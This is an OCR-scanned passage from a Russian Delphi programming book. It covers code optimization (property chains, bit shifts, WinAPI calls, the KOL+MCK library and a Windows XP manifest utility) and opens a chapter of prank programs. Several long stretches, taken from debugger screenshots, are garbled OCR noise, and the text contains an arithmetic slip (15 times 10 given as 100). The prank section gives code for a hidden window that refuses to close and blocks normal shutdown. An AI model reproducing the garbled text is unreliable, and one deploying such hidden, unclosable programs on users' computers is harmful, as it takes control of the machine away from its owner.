еак,.[ ebp~ $04] wov eaX, feaX4-$O 0 fOj »iov eax>te«ix+ 0 00 21S3 mov edi,:j:eax] call.Chord ptr Leai+§20) inc ehx to Li sth oxi Item* Свад.^”! fl® iCec eel cjn? :“07; xor eax:>e» pop. edx... : рОр ЙСХ . .. w I» feax]zedx push в D44I<JiaP lea eax £ebp ?0B3 •.call gistrCXt imp ' &Йа1ШвУiuel 1V • W-$W ES ZF I sf a IF 0 IF 1 PF 0 F О ю.о. NF 0 KF В л» a aOlzmc^OGebim У O01ZFE56 О 8IHE14 I j CBX2FEB4 0P12FF84 ., Q 12FES0 0Q4034 1 Д OOiSFESC 0012FFOC л OQX2FF56 W4WB9 50 12FE34 CHM4FBI>C I 0 1.2 F £50 0040 4 BA .( O0X2FE4C 0GBP1E14 Л OC12FE48 008 Pl 0 ! 0012FE44 G0446FE3 Л tmamo co isms ..> 0G12FE С 008P1EX4 .1 DPI F£3B. 0 BP1EI4 Л оохзгк 4 oosmbab л O01.2FE3.G O044FBPC t ТовШЕгС W4SFF40 .5 :qoi?fe а 00447300 Л 0012FE24 0012FESC 00X2 FEZ 0 00447303 Л OOWFEIC 0012 FE40 001 FE1B ООВМЕ14 л О X2FE14 00000000 •> O01ZFE1O 008Р1ЕХ4 J CP12FED 0РВР1&АВ Л CdliFEOa О044ГВРС л .O012FEO4 /0012 FEXC /. 0DX2FE00 0044FPA2 Л о - Ш1' J Рис. 2.10. Код на языке ассемблер, который сгенерировал Delphi, с использованием длинных цепочек
90 Глава 2. Оптимизация Теперь немного изменим задачу. Допустим, что нам надо заполнить элементы списка следующим образом: var 1: Integer; begin for 1 := 0 to Form2.Listbox.Items.Count-1 do Form2.Listbox.Items[i] := IntToStr(i); end; В примере две длинные цепочки, и они разные. Несмотря на это, мы можем со- кратить цепочки, создав код, более быстрый в исполнении: var i: Integer; si: TStrings; begin si ; = Form2.Listbox.Items; for i := 0 to si.Count-1 do Sl[i] := IntToStr(i); end; Мы работаем с элементами свойства Items компонента ListBox. Значение свойства имеет тип TStrings. Указатель на Items сохраняется в локальной переменной, в ко- торой осуществляется дальнейшая работа. "CPU’ ' _______________________ :*.•':: W4.4FP4 i:' «4605'2:: wov' i &Це&):asp [Uni tl, pas-31; si:» Lxxthaxl.lt ema; |0344FP44 8880FG020000 W eax. eax +5000002£3 :;gD44K£>41. :.BBB018at6DDiO: • • ?:.W0V;..: eax t: { eex 4.fqa.QDD218f .... i Vnitl ,рл»:.ЗЙ: ?Ж0х 1;»© tip.\tinuit-1 4© ....::pb44F^?:^bFt........... :йО44Г1>55 ЙЫ0 •• :;0044ГЙ8nwU’ J»O44FP5I>:-41?' ::0044ГЬ85.:.65Р^ £ :. ; ©644^0.; 7C li ?S * Xttoitl ♦ j?wt .351. »lti) ? «XntinSti < 1) >. й.©о44гр0 ©взкг.а. Жг :i:©044FG6B-.-B.bQ=L ioaMFpiek Eaqi?EFBFF i 0044t^F S^bFB • :©D44rV7Z &BB3 ’. ::?WC!44F P74 <BB'45F<.. Т:,:яЙ4Й^В77:вНа«к Ж-;' ’ i 0044 FP79 FF372 0 ’ |:i:bD4Wbb::'45.’e**^;...;................ wiVniix < 35 ?...; Xnx.-: i'j ”5 Л»..:•*&•.< mmt' »1-; *»•• :л?нсйй5»2й ••^44-FV7I: :Щ5О44>ЬаО :-*Ь©44И>33 Й &04UBS3 :j P044FVB4 § obeweis: x|©b.WP39................. Si 6(j^.FpBp-"kagrkpF₽F:F:.,::: .. ПП44Р0ЯЛ .F4WF>31XRFF ’ •. ...... . 3500 5Л 59 ито ” ргч :5F Ь Hf...O pF.:-! pF .0 todv-’.АЙки {eax} .jword. гйт 14} y- .««si, -eax •dec до a, test’, asii, ear jl 4$ la ’ ’ . • ino’.eei •• .xoe ebx>tthx iep. рейх, £ebp~$gei f ••> Л »©v «ax,ebx ca 11; IntToS t-r ’ : ttov' eox. {etop-pi P6} Ж .. •’wev eCbr.ebx • sipv jtax f (ebp~$ 04j й ;:inQ^<:eiii.rl.eax] " fee i.i: .dwr d-.Jptt Certx+i 20] ihe^.itbx. ......-^eci-eki...,.£Й ЙЙ -fife • £; jcis^ aax^eax .Ж?:' Ц pets -Вфг рйр e x pop 4<?x <tw?v {e-ax}>eeix РМ1Ф ... ooti.Gqoe со 41;Ьо :й;ТГ зо 00410013 40 FF FF OS FO 85 F« 70 Кяж P г»й4>ягй©: яя яг. :QQ44Fjii><r .’□(ЖГевВ .i D0SW6A8 :pp44Fafij2 •. ppoaqaoG ^OOGOObC! Аайзвх&й ’ 00 44FBIK m” ECX ЕЛХ? Ш.... tip OoxzFsie ESP GPimFC JSE&...... EEL ? {WO ‘HF Q i pF 0 |VH.b 0000246 001B & 0023' £ 0053 ?• W.W. aoi5FEec:-DPai>i.Ki4: .i 0012FE69 DOB ЕЛЕ14 Л DO12FE64 -001-3 FF£l4 Ьо%твЬубЬ4&йз.1: Л aoi 1FESC Si d6i2 ггсй OWmSO DP446FB7 Л DP12 хйа44ЙЬ€.. < i PO12mo.'0040346Л л 0O13FE40ii........ OPlZF&M 'Л 001^£4.4<0a4i6m; -it Pftimto ooi?ffo4 й; < •0bi5mc:::0pbwki4. Jj .001?FZ.3Q;DpfiI)iisil4-^j otn2F£3.e ooe&i-6A8 Л boizrijp Ъ044РЫХ • Д ИШЙС 0012FE40 0012FE2 8. 0046730 D Л obis rise boi2.rMe .< < DO12FF2D-:.-aa4473D3 ..I .GOUFilC 60i2F£4b' 0G12FE18 вЬрааоао :.U 0012FKI4 bobobbob- :, < D012FEID аб8В1Е14 ‘ Л bcikFjEbc:," • • -x-- ::doi^Fto8:i qoi2FKO4;.bbi2FKic <. ;Ь’012РЕйО®Г'* ”:i •*•'*>•* • i Рис. 2.11. Код на языке ассемблер, который сгенерировал Delphi, без использования длинных цепочек
2.16. Ускорение математических вычислений 91 При использовании длинных цепочек результирующий код всегда будет больше. На рис. 2.10 представлено окно отладчика Delphi. Рамкой выделен ассемблерный код цикла вплоть до выхода из процедуры. На рис. 2.11 вы можете увидеть аналогичный код, но без использования цепочек. Рамкой выделен цикл и даже на глаз видно, что он меньше. Конечно же, резуль- тирующий код почти одинаков по размеру (и все же без использования цепочек меньше на 2 команды), потому что во втором случае добавляются три ассемблер- ные команды для сохранения цепочки в локальной переменной. Скорость выпол- нения программы без цепочек будет выше, так как удалено самое слабое звено — цикл, который выполняется неоднократно. Таким образом, во втором случае нуж- но выполнять меньше операций. Если внутри цикла было хотя бы два обращения к цепочке, то можно сократить код намного больше и выиграть в скорости. Мы рассматривали цикл с длинной цепочкой, чтобы вы могли ощутить выгоду от приема оптимизации. Даже если у вас нет цикла, но в процедуре есть несколько обращений к какому-то элементу цепочки, то польза от оптимизации существенна. 2.15.1 . Разрыв цепочек Можно сохранять цепочки не только локальных, но и глобальных переменных. Допустим, что вы создаете графический редактор и в качестве хранилища для ра- стрового изображения используете компонент TImage В этом случае, при обраще- нии к битовой матрице и ее функциям/свойствам, во всех процедурах придется писать Imagel. Picture.Bitmap. Все время разрывать такую цепочку при входе в про- цедуру нежелательно, поэтому намного лучше будет разорвать цепь только один раз. В случае с графическим редактором вы должны описать в объявлении формы пе- ременную, например bimage типа Tbitmap, и при создании изображения сохранять в ней значение Imagel.Picture.Bitmap. Таким образом, во всех процедурах, где нуж- но обратиться к функциям растрового изображения, можно использовать эту пе- ременную вместо длинной цепочки компонента TImage. Данный метод имеет свои преимущества, но пользоваться им надо очень аккурат- но, потому что в определенный момент такая переменная может стать недоступ- ной или вы случайно измените ее значение. Я рекомендую описывать перемен- ную в разделе private, чтобы ее нельзя было изменить из других форм вашего проекта и легче было контролировать содержимое. 2.16. Ускорение математических вычислений В настоящее время используются быстрые компьютеры, и уже никто не задумыва- ется о том, чтобы оптимизировать скорость арифметических операций. А ведь были времена 286-х процессоров, когда операции с плавающей запятой выполнялись мед- ленно даже при наличии арифметического сопроцессора (дополнительный чип, служил для выполнения операций над дробными числами). Без такого сопроцессе-
92 Глава 2. Оптимизация ра компьютер значительно терял в скорости. Одними из наиболее чувствительных к математическим операциям оказались BD-игры. Именно здесь были сложные рас- четы, и математика должна была работать очень быстро. Несмотря на это, мир уви- дел Wolfstain 3D и Doom даже на слабых компьютерах. В 1990-е годы, в отличие от современности, программисты больше внимания уде- ляли оптимизации расчетов. В те времена считали каждый бит памяти и каждый такт скорости. Наибольшее увеличение производительности математических вычислений до- стигается при использовании ассемблера. Например, операции с использованием регистров работают быстрее, чем с памятью, поэтому параметры, над которыми бу- дут выполняться несколько разных математических операций, можно расположить в одном из регистров общего значения и потом работать с ним. Только после вы- полнения всех операций значение такого регистра заносится в переменную. В высокоуровневых языках многие из этих операций недоступны. Например, нельзя эффективно управлять регистрами без ассемблерных вставок, которые усложняют программирование. Но, несмотря на это, в Delphi можно использовать некоторые приемы. Сдвиги работают быстрее, чем умножение или деление. Если нужно разделить число на два, то надо сдвинуть число на 1 бит вправо. Например, операция Result := Param/2: эквивалентна Result := Paraml shr 1; только вторая операция использует сдвиг и работает быстрее. Оператор X shr Y сдвигает число X вправо Y раз. Если надо произвести сдвиг на 5 единиц, то пишем 52 shr 5. Для понимания принципа работы нужно представить число в двоичной системе. Допустим, нам нужно разделить число 52 на 2. Чис- ло 52 в двоичной системе выглядит как 110100. Теперь сдвигаем это число впра- во (убираем последний 0), и получается число 11010, что соответствует 26. Это и есть число 52, разделенное на 2. Почему так происходит? Представим десятичную систему. Когда нам нужно разде- лить число 520 на 10, то мы просто сдвигаем число вправо, то есть убираем после- дний ноль и получаем результат — 52. Таким образом, легко запомнить, что в деся- тичной системе при сдвиге числа вправо мы делим его на 10, а в двоичной системе при сдвиге вправо число делится на 2. То же самое и с остальными системами счис- ления. В шестнадцатеричной системе при сдвиге вправо происходит деление на 16. Для деления числа 520 на 100 нам надо дважды сдвинуть число вправо, то есть с правой стороны убрать два числа. Результатом будет 5 (точнее сказать, 5.2, но десятичная часть отбрасывается). То же самое в двоичной системе счисления. Если нужно разделить на 4, то дважды сдвигаем число вправо — 52 shr 2. Для де- ления на 8 нужно сдвинуть число трижды — 52 shr 3. Компьютер представляет числа в двоичной системе счисления, поэтому опера- ции сдвига работают именно в такой системе. Чтобы эффективно использовать эту технологию, вы должны хорошо представлять себе двоичную систему.
2.17. Необходимая достаточность 93 Аналогично осуществляется процесс умножения. Операция сдвига числа влево shl работает быстрее умножения. Если вам надо умножить число 15 на 2, то луч- ше написать так: Result := 15 shl 1: В десятичной системе при умножении числа на 10 сдвигаем его влево, добавляя справа 0. Например, для умножения числа 15 на 10 мы добавляем справа 0 и по- лучаем 100. Точно также и со сдвигом в двоичной системе. Число 15 в двоичной системе за- писывается как 1111. Если добавить справа 0, то получим число 11110, что соот- ветствует 30. Для написания алгоритмов вычислений вы должны отлично знать математику и уметь упрощать задачи. Логарифмы вычисляются долго, но при определенных условиях их можно решить намного быстрее Тригонометрические функции для компьютера тоже не из простых, но если представлять себе функции синуса и ко- синуса и воспользоваться приближенными значениями, то погрешность будет небольшой. 2.17. Необходимая достаточность Среди функций API системы Windows есть много схожих по назначению, но раз- личных по возможностям. Например, для копирования растрового изображения (картинки) в контексте устройства есть две основные функции — Bi tBl t и Stretch- Bit. С помощью обеих функций можно вывести изображение на контекст окна, но с разной скоростью. Функция Bi tBl t копирует битовый массив растрового изображения в указанную область по определенным правилам. Функция StretchBlt делает то же самое, но в дополнение умеет еще и масштабировать изображение во время копирования. Из-за того что вторая функция имеет больше возможностей, некоторые програм- мисты (особенно начинающие) стараются использовать ее. Зачем? А просто на всякий случай. Масштабирование — достаточно трудоемкий процесс для процессора, поэтому StretchBlt выполняется намного дольше BitBlt. Нет смысла расходовать драго- ценные такты процессорного времени, когда вам абсолютно не нужны возможно- сти той функции, которую вы решили использовать. Если для выполнения определенного действия в ОС есть несколько функций, то используйте ту функцию, которая решает поставленную задачу быстрее осталь- ных. Не надо делать задел на то, что может и не понадобится. А если в будущем вам все же нужно будет масштабировать растровое изображение, заменить функ- цию несложно. В Delphi очень много функций, которые являются надстройками для функций Win API. Например, в объекте TAppl i cati on есть функция MessageBox, которая опи- сывается следующим образом: function MessageBox(const Text. Caption: PChar:
94 Глава 2. Оптимизация Flags: Longint = МВ_ОК): Integer: Среди функций Win API есть одноименная, но она описывается иначе: function MessageBox(hWnd: HWND: IpText. IpCaption: PChar: uType: UINT): Integer; stdcall: Они выполняют одни и те же действия, разница состоит в том, что в функции Win API добавлен параметр hWnd, в котором указывается главное окно для окна сообщения. Рассмотрим, как выглядит функция MessageBox, которая входит в объект TAppl 1 - cation (листинг 2.9). Листинг 2-9- Реализация функции MessageBox в объекте TApplication function TAppl1cation.MessageBox(const Text. Caption: PChar: Flags: Longint): Integer; var ActlveWIndow: HWnd; WlndowLlst: Pointer; MBMonltor. AppMonltor: HMonltor; MonInfo: TMonltorInfo; Rect: TRect; FocusState: TFocusState; begin ActlveWIndow : = GetActlveWIndow; MBMonltor := Mon1torFromW1ndow(Act1veWIndow. MONITOR_DEFAULTTONEAREST); AppMonltor := Mon1torFromW1ndow(Handle. MONITOR_DEFAULTTONEAREST): If MBMonltor <> AppMonltor then begin MonInfo.cbSIze := STzeof(TMonltorlnfo): GetMon1torInfo(MBMon1tor. @MonInfo); GetWIndowRect(Handle. Rect); SetW1ndowPos(Handle. 0. MonInfo.rcMonltor.Left + ((MonInfo.rcMonltor.Right - MonInfo.rcMonltor.Left) div 2). MonInfo.rcMonltor.Top + ((MonInfo.rcMonltor.Bottom - MonInfo.rcMonltor.Top) div 2), 0. 0, SWP_NOACTIVATE or SWP_NOREDRAW or SWP_NOSIZE or SWP_NOZORDER); end; WlndowLlst := DlsableTaskWlndows(O); FocusState := SaveFocusState: If UseRIghtToLeftReadlng then Flags := Flags or MB_RTLREADING; try Result := Windows.MessageBox(Handle. Text. Caption. Flags); finally If MBMonltor <> AppMonltor then SetW1ndowPos(Handle. 0. Rect.Left + ((Rect.Right - Rect.Left) div 2). Rect.Top + ((Rect.Bottom - Rect.Top) div 2). 0.0. SWP-NOACTIVATE or SWP_NOREDRAW or SWP_NOSIZE or SWP_NOZORDER).: Enabl eTaskWIndows(WindowLIst);
2.18. Эффективное использование ресурсов 95 SetAct1veWindow(ActlveWi ndow); RestoreFocusState(FocusState); end; end: Самое главное находится в вызове функции MessageBox из Win API: Result := Windows.MessageBox(Handle, Text, Caption, Flags); Все остальное — это дополнительные проверки и определение главного окна. За- чем вызывать этот вариант, когда дополнительные проверки в большинстве случа- ев не нужны, а главное окно мы и так можем определить. Некоторые программис- ты даже не определяют окно, а просто указывают в качестве параметра hWnd нулевое значение, ведь на ход работы программы это практически не влияет В Delphi есть функции для поиска файлов (FindFirst, FindNext, FindClose), которые являются над- стройками функций Win API, имеющих аналогичные названия и предназначения. Если посмотреть на методы рисования объекта TCanvas, то все они также будут над- стройками. Такие функции улучшают код и упрощают программирование, но за- медляют работу лишними проверками. Для повышения производительности лучше использовать варианты функций Win API. Для достижения универсальности кода (программа будет компилироваться в Kylix под Linux) применяются варианты, предоставляемые Delphi. В настоящее время наблюдается переход на технологию .NET, и фирма Borland уже подготовила новую среду разработки, которая сможет компилировать ста- рые проекты Win API для .NET. Если вы будете переносить свой проект в .NET, то в этом случае лучше использовать функции из VCL, иначе программа не будет компилироваться не только в Linux, но и в .NET. В слабых местах программы лучше всего использовать функции Win API или .NET. Переписать их для определенной платформы несложно, исходные коды функций Delphi доступны, и производительность может существенно повыситься. 2.18. Эффективное использование ресурсов Современные компьютеры выполняют множество операций в секунду. Но при неэффективном использовании ресурсов, число исполняемых операций может быть слишком маленьким. Допустим, необходимо каким-либо образом обработать несколько гигабайт инфор- мации. Задача усложняется тем, что мы не знаем точный объем, но известно, что он слишком большой. Для решения задачи можно создать буфер размером 255 байтов или символов (зависит от типа обрабатываемых данных), в цикле заносить в него данные и производить нужные действия А теперь посчитайте, сколько раз нужно будет последовательно помещать данные в буфер, чтобы просмотреть все? Неслож- ные расчеты говорят о 3 921 569 чтениях из буфера. Это очень много, и процессор выполняет массу бесполезных действий. Я рекомендую всегда выделять достаточный объем памяти для сокращения числа загрузок. ОС Windows начиная с версии 2000 очень эффективно управляет
96 Глава 2. Оптимизация памятью дискового пространства для хранения файла «подкачки». Но при опре- делении объема буфера очень важно не перестараться, потому что если ОС не найдет нужных ресурсов, будет использоваться «подкачка», а это грозит лишни- ми выгрузками и загрузками страниц памяти на диск. Самым слабым звеном в компьютере является жесткий диск, потому что это един- ственный компонент, который построен на механике. Электроника (например, оперативная память) работает быстрее механики, и вы должны максимально ис- пользовать это. Допустим, нужно произвести поиск данных в файлах. Если файл большой, счи- тывание должно происходить большими порциями. Например, если выделить для чтения буфер из тех же 255 байтов й попытаться считать гигабайт информации из файла, то возникнет переизбыток обращений к диску и работа будет очень мед- ленной. В данном случае я рекомендую выделять как можно больший буфер. 2.19. KOL+MCK 1 . В качестве способов минимизации я предлагал использовать специальные про- граммы для сжатия запускных файлов или отказываться от визуальных эффек- тов и применять только Win API. Первый способ имеет свои плюсы, но файлы не сильно теряют в размере. Во втором случае их размер уменьшается, но теряется визуальность. Существует способ создания небольшого кода с визуальными эф- фектами — это библиотека KOL+MCK. KOL (Key Objects Library — библиотека ключевых объектов) содержит объекты, которые упрощают программирование на Win API и при этом не увеличивают код. MCK (Mirror Classes Kit — комплект зеркальных классов) — библиотека, позво- ляющая использовать KOL визуально. Это отличная надстройка, которая эффек- тивно использует возможности KOL и при этом практически не влияет на размер исполняемого файла. Так как визуальная среда Delphi плохо подходит для создания компактного кода и больше ориентирована на использование библиотек VCL и CLX, то при созда- нии визуальных эффектов с использованием KOL разработчикам пришлось не- мало попотеть. Конечно же, реализация получилась слегка «неуклюжей» (чуть позже мы рассмотрим все недостатки), но другого выхода я не вижу и даже за та- кое решение им благодарен. ПРИМЕЧАНИЕ --------------------------------------------------------- Файлы библиотеки kol.zip и mck.zip находятся на компакт-диске в каталоге Additional. В процессе установки разархивируйте содержимое архивов kol.zip и mck.zip в один каталог. Затем откройте файл MirrorKOLPackageDX.dpk, где X — это номер версии вашего «дельфина». У меня версия 7, но даже при установке файла для версии 6 библиотека устанавливается без проблем. После открытия файла появит- ся диалоговое окно установки компонентов пакета (рис. 2.12).
2.19. KOL+MCK 97 LPtfh E: \CyD \Projects\Comporients7\KO L & Г 0 Remove Options Pack -je' MirrorKOLPack ч,еЬ?.4>к Compile Add Fib Contains В Koi. pas E: \CyD \Pr ojects\Components7\KO L mckAccE ditor. pas E: \CyD \Projects\Components7\K0 L mckActionListE dit... E: XCyD \Pr oiects\Components7\K0 L mckCtrlD raw. pas E: \CyD \Project s\Components7\K0 L mckCtrls.pas mckFileFilterE dito... E ACyD \Projects\Components7\K0 L _________ mckLVColumnsE... E:\CyD\Projects\Components7\K0L Д mckMenuEditor.p... E:\CyD\Projects\Components7\K0L Ц mckObjs.pas EACyD\Proiects\Cornponents7\K0L • И rnckT oolbarE ditor... E: \CyD \Projects\Components7\K0 L - Bl mirror.pas E:\CyD\Proiects\Components7\K0L P- Rjl Requires Bl designide.dcp Lj ftldcP : - Й vcl.dcp •|jl vclactnband.dcp Яй vckdcp Рис- 2.12. Диалоговое окно установки компонентов пакета После установки пакета становится доступной закладка KOL. Здесь расположены зеркальные компоненты для основных компонентов Delphi (рис. 2.13). Рис. 2.13. Компоненты МСК Чтобы код был компактным, нужно использовать именно их. Но перед этим нуж- но правильно создать проект. Чтобы создать проект с использованием библиотеки KOL+MCK, нужно выполнить несколько операций. Для начала создайте стандартный проект простого приложе- ния в Delphi и сохраните все файлы проекта в одном каталоге (это необходимо за- помнить!). При сохранении проекта его название не имеет значения, потому что запускной файл будет иметь другое имя. Поместите на форму компонент KOLProject и в свойстве pro jectDest напишите ос- мысленное название проекта, потому что это имя будет использовать запускной файл. Давайте укажем здесь название TestProject. Поместите на форму компонент KOLForm. Этот компонент свидетельствует о том, что форма будет визуальная. Сохраните все. Загляните в каталог, где сохранился проект. Обратите внимание, что здесь по- явились файлы с расширением .inc и новый файл проекта с именем, которое мы указали в свойстве projectDest компонента KOLProject и расширением .dpr. В дан- ном случае это будет файл TestProject.dpr. Это и есть проект МСК, с которым мож- но работать, как с любым другим проектом. 4 Зак. 308
98 Глава 2. Оптимизация Приложение, которое мы создали первым, можно закрыть и больше не открывать. Оно необходимо только для размещения файлов KOLPro ject и KOLForm. Все осталь- ные действия и компиляция должны происходить в автоматически созданном проекте TestProject.dpr. Откройте созданный проект и откомпилируйте его. Посмотрите на размер запуск- ного файла. Если пустой проект VCL занимает намного больше 200 Кбайт, то про- ект, использующий KOL+MCK, у меня занял чуть более 23 Кбайт. Теперь можно расставлять на форме компоненты с закладки KOL и использовать их привычным образом. При этом размер файла будет увеличиваться очень мед- ленно, пока вы не подключите какой-нибудь заголовочный файл из состава VCL. Я долго не мог решить, какой пример использовать для иллюстрации возможно- стей KOL+MCK. Но тут я вспомнил одну маленькую утилиту, которая возникла с появлением Windows ХР. С ее использованием программы отображались в сти- ле Windows ХР, даже если это не было в них заложено. Изучим, как работает эта программа. На форме нам понадобятся две кнопки KOLButton и поле ввода KOLEditBox (рис. 2.14). Рис. 2.14. Форма программы По нажатии первой кнопки будет отображаться окно выбора файла, а его имя бу- дет указываться в поле ввода. Для отображения окна выбора файла на форму надо поместить компонент KOLOpenSaveDialog. Итак, по нажатии первой кнопки запишем следующее: procedure TForml.Button2Click(Sender: PObj): begin If OpenSaveDialogl.Execute then EditBoxl.Text := OpenSaveDialogl.Filename; end: Пользователь должен выбрать запускной файл программы, которую нужно «про- патчить». По нажатии второй кнопки должен быть создан файл манифеста Win- dows с таким же именем, как и у исполняемого файла, с расширением .manofest. Текст файла-манифеста приведен в листинге 2.10. Листинг 2.10. Содержимое файла манифеста <?xml version»"1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.vl" manifestVersion="l 0"> <assemblyldentity version="l.0.0.0"
2.19. KOL+MCK 99 processorArchitecture="X86" name-'Microsoft.Windows,Program” type="win32" /> <description>Your app description here</description> <dependency> <dependentAssembly> <assemblyldentity type="win32" name="Mi crosoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccfldf" language="*" /> </dependentAssembly> </dependency> </assembly> Код патчинга приведен в листинге 2.11. Листинг 2.11. Код патчинга procedure TForml.ButtonlClick(Sender: PObj); var s: String; f: TextFile: begin AssignFile(f EditBoxl.Text+' .manifest'.); Rewrite(f); s:='<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+#13#10+ '<assemblу xmlns="urn:schemas-microsoft-com:asm.vl" mani festVersi on="1.0">'+#13#10+ '<assemblyIdentity'+#13#10+ 'version="1.0.0.0"’+#13#10+ 'processorArchitecture="X86"*+#13#10+ 'name="Mi crosoft.Wi ndows.Program"* +#13#10+ 'type="Win32"'+#13#10+ ,/>,+#13#10+ '<description>Your app description here</description>'+#13#10+ '<dependency>'+#13#10+ '<dependentAssembly>'+#13#10+ '<assemblуIdenti ty'+#13#10+ ,type="win32",+#13#10+ 'name="Mi crosoft.Wi ndows.Common-Controls"'+#13#10+ 'version="6.0.0.0"'+#13#10+ ,processorArchitecture=,,X86" '+#13#10+ ’publicKeyToken="6595b64144ccfldf"'+#13#10+ продолжение
100 Глава 2. Оптимизация Листинг 2.10 (продолжение) 'language^'*"'+#13#10+ 1/>'+#13#10+ * </dependentAssembly>’+#13#10+ * </dependency>'+#13#10+ '</assembly>': writeln(f, s); CloseFile(f); end; Самое сложное в создании необходимого файла — технология доступа. Я всегда рекомендую использовать объект TFileStream, потому что он удобен, универсален и легко адаптируется для будущего использования, например для перевода на .NET. Но в данном случае этот вариант не подходит, потому что нужно будет под- ключить модуль Cl asses, и запускной файл увеличится с 23 Кбайт до 90 Кбайт, что не совсем рационально. Можно было бы выбрать функции Win API типа CreateFile или более старые функции fopen, но это привяжет нас к старой платформе, и могут возникнуть про- блемы с переходом на .NET. Хорошие возможности предоставляет Delphi с помощью встроенных функций, для которых не надо подключать модули и они не увеличивают размер исполняе- мого файла. Рассмотрим некоторые встроенные функции. • AssignFi 1 е(fi 1 е, name) — связывает имя файла name с переменной file. • Rewrite(file) — создает файл, заранее связанный с переменной file. • Reset(fi 1 e) — открывает файл, связанный с переменной file. Такой файл уже должен существовать. • Writeln(file, str) — записывает строку str в файл. • ReadLn(file, str) — читает строку, если файл открыт для чтения. • CloseFile(file) — закрывает указанный файл Несмотря на то что файл манифеста состоит из множества строк, мы сохраняем все сразу. Для этого создается переменная s типа String, в которой будут нахо- диться все строки и переводы каретки. С помощью одного вызова функции writein содержимое строки записывается в файл. Диск — это одно из слабых мест компьютера. Старайтесь всегда оптимизировать доступ к файлам, считывать или записывать данные большими блоками. Если вам не понравилось, как программа выглядит и работает в стиле Windows ХР, то можно все вернуть обратно, удалив файл манифеста. Для этого в програм- ме добавим кнопку, по нажатии которой будет происходить удаление: DeleteFi1е(PChar(EditBoxl.Text+'.manifest')); На рис. 2.15 показано окно программы The Bat после добавления файла манифе- ста. Эта версия не отображалась в стиле Windows ХР, и кнопки, и элементы уп- равления были квадратными до моего вмешательства.
2.19. KOL+MCK 101 Если вам нужна программа/утилита небольшого размера и не хочется «мучить- ся» с Win API, то выбирайте KOL+MCK. Это отличный способ оптимизации раз- мера программы без потери скорости разработки. Лично я с этой библиотекой познакомился не так давно, но теперь все исполняемые файлы, которые должны будут пересылаться через Интернет, буду писать только с помощью этой техно- логии. Папка Новые Всего : •И1F От Кому Тема Принят Создан Размер В horrific 9 13 Е (ф inf o@vr-onli... 10 Е "ф) smirnandr 1 7 Рис. 2.15. The ВАТ в стиле Windows ХР ПРИМЕЧАНИЕ ---------------------------------------------------------------- Исходный код примера, рассмотренного в данном разделе, находится на компакт-диске в каталоге Sources\ch02\KOL-MCK. С помощью правильной оптимизации можно доказать, что вы не просто програм- мист, а хакер. Но тут главное — не переусердствовать. Если перестараться, то не- которые из описанных методов могут привести к обратному эффекту — замедле- нию выполнения программы. Все хорошо в меру, и вы должны уметь находить золотую середину. Мы рассмотрели лишь основные методы, и это только начало. В проектах может понадобиться более глубокий анализ кода. Действуйте последовательно, начиная оптимизацию со слабых мест.
102 Глава 2, Оптимизация Для дальнейшего совершенствования ваших знаний могу только еще раз посове- товать изучать систему, рабочие программы и языки программирования, которые вы используете. Ищите новые алгоритмы. Если программа даже после оптимизации работает не- удовлетворительно, то ошибка кроется в самом алгоритме вычисления. Подумай- те, возможно, есть другой способ решить поставленную задачу и написать про- грамму, которая будет работать намного быстрее.
Глава 3 Шуточки Разобравшись с правильным написанием кода и оптимизацией, переходим к соз- данию полезных (и бесполезных, но веселых) программ. Некоторые из них про- сты, и все функции будут вам знакомы. Но искусство хакера состоит в том, чтобы заставить знакомые инструменты работать нестандартно и так, как нам нужно. Ярким примером нестандартного использования безобидных функций будет рас- сматриваемый в этой главе шуточный пример с буфером обмена. Вроде бы удоб- ная и полезная вещь, но мы увидим, что это не всегда так. Здесь можно провести аналогию с кухонным ножом, который является полезным и безобидным, если его применять правильно и по назначению. Но в то же время он является и холод- ным оружием. В руках злоумышленника даже газета может стать оружием. Российские специалисты ценятся за рубежом за умение нестандартно мыслить и находить интересные решения. Именно этому мы и будем учиться в данной гла- ве с помощью написания шуточных программ. Несмотря на то что примеры будут рассматриваться с точки зрения шутки, боль- шинство используемых алгоритмов можно будет использовать в реальных при- ложениях. Я даже могу сказать, что большая часть шуток родилась именно во вре- мя написания коммерческих приложений, баз данных и различных системных утилит. При решении некоторых задач я увидел нестандартную работу функций. Благодаря случайным ошибкам в программах получились интересные результа- ты, которые впоследствии стали основой для шуток. 3.1. «Злое» окно Начнем с простейшей задачи, но подойдем к ней немного изощренно — напишем программу, главное окно которой нельзя закрыть. «Прикол» будет состоять в том, что благодаря этому нельзя будет нормально выключить компьютер.
104 Глава 3. Шуточки Задача решается просто. Создайте новое приложение и для главной формы ис- пользуйте обработчик события OnCloseQuery. Событие будет генеририроваться каждый раз, когда нужно закрыть окно, чтобы подтвердить возможность выпол- нения этой операции. Здесь нужно добавить только одну строку: CanClose := false Вот как должна выглядеть процедура обработчика данного события: procedure TForml.FormCloseQueryCSender: TObject: var CanClose: Boolean): begin CanClose := false: end: Переменная CanClose передается обработчику события в качестве второго пара- метра. По умолчанию она имеет значение true, и окно может закрываться. Но если изменить значение на false, то окно закрывать нельзя. Откомпилируйте программу и попробуйте ее запустить. Окно не будет реагиро- вать на ваши попытки. Единственное, что можно сделать, — снять задачу. Теперь немного усложняем пример и делаем окно невидимым. Создадим для глав- ной формы еще один обработчик события OnActlvate, который генерируется, ког- да окно уже создано, отображено и требует активирования на рабочем столе. Мы будем прятать наше приложение от глаз пользователя следующим образом: procedure TForml.FormActivateCSender: TObject): begin ShowW1ndow(Handle. SW_HIDE): ShowW1ndow(Application.Handle. SW_HIDE); end: Здесь две строки, в которых вызывается функция ShowWindow. Функция имеет два параметра: указатель на окно и операция, которую надо произвести. В обоих слу- чаях в качестве операции указываем флаг SW HIDE, который заставляет систему скрыть указанное окно. В первой строке мы скрываем главное окно программы, передав функции Show- Window указатель на это окно (Handle). Таким образом, окно исчезнет, но приложе- ние еще будет видно в Панели задач. Чтобы убрать его и оттуда, снова вызываем ShowWindow, но передаем уже указатель на приложение (Application.Handle). Теперь запустите программу, — она нигде не будет видна. Попробуйте выклю- чить компьютер. Ничего не будет происходить. Windows как работал, так и будет продолжать работать. Через пару минут ожидания проведите указателем мыши по пиктограммам рядом с системными часами. Они могут исчезнуть, потому что все программы завершают работу. Почему компьютер не выключился? Когда вы выбираете меню Пуск ► Завершение работы, то ОС посылает всем активным приложениям сообщение о том, что они должны завершить работу, и ожидает корректного завершения. Если какое-то окно «отказывается» 